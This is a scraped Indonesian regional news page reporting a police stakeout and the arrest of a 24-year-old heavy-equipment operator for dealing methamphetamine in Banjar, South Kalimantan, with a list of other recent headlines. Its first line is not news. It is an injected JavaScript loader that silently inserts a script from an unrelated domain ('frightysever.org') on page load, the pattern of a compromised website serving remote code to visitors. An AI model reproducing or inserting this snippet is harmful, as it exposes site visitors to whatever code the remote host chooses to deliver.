(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BANJAR

Diintai Empat Jam, Operator Alat Berat Dibekuk Edarkan Sabu


KANALKALIMANTAN.COM, MARTAPURA – Diduga menjadi pengedar narkoba jenis sabu AH (24) ditangkap polisi karena kedapatan menawarkan narkoba di jalan Desa Baliangin Atas, Kecamatan Sambung Makmur, Kabupaten Banjar, pada Rabu (14/10/2020) pukul 22:30 Wita.

Kapolsek Sambung Makmur Ipda Hendra membenarkan kalau ada seorang laki-laki tertangkap tangan saat menawarkan narkoba jenis sabu.
Laki-laki berinisial AH (24) itu adalah warga Desa Pulau Pinang, Kecamatan Binuang Kabupaten Tapin.

Ipda Indra mengatakan, polisi mendapat informasi ada sering terjadi transaksi nakorba di Desa Baliangin Atas, menindak lanjuti informasi tersebut anggota Polsek Sambung Makmur yang dipimpin langsung Ipda Indra, langsung melalukan penyelidikan dan pengintaian.

“Setelah petugas melakukan pengintaian kurang lebih selama empat jam, petugas langsung menangkap AH yang sedang menawarkan barang haram jenis sabu tersebut,” katanya.

Setelah petugas kepolisian menangkap pelaku dan dilakukan pemeriksaan ternyata pelaku selama ini bekerja sebagai operator alat berat.

“Ketika anggota kita melakukan pemeriksaan, ternyata pelaku selama ini bekerja sebagai operator alat berat louder,” ungkapnya.

Selain itu, lanjut Ipda Indra, pelaku juga yang selama ini mengedarkan narkoba jenis sabu di wilayah pegunungan yang ada di Kecamatan Sambung Makmur.

Dari pengakuan pelaku, dirinya baru saja membeli barang haram tersebut, di wilayah Kecamatan Binuang.

Selain mengaman pelaku, petugas kepolisian juga mengamankan beberapa barang bukti milik pelaku.

“Kita mengamankan barang bukti milik pelaku berupa, satu jaket parasut warna hijau tua, satu paket sabu dibungkus klip kecil, satu buah handpone,” katanya.

Pelaku dijerat dengan pasal 114 ayat 1 dan Pasal 112 ayat 1 dengan ancaman penjara minimal 4 tahun. (kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Bie

Al Ghifari

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.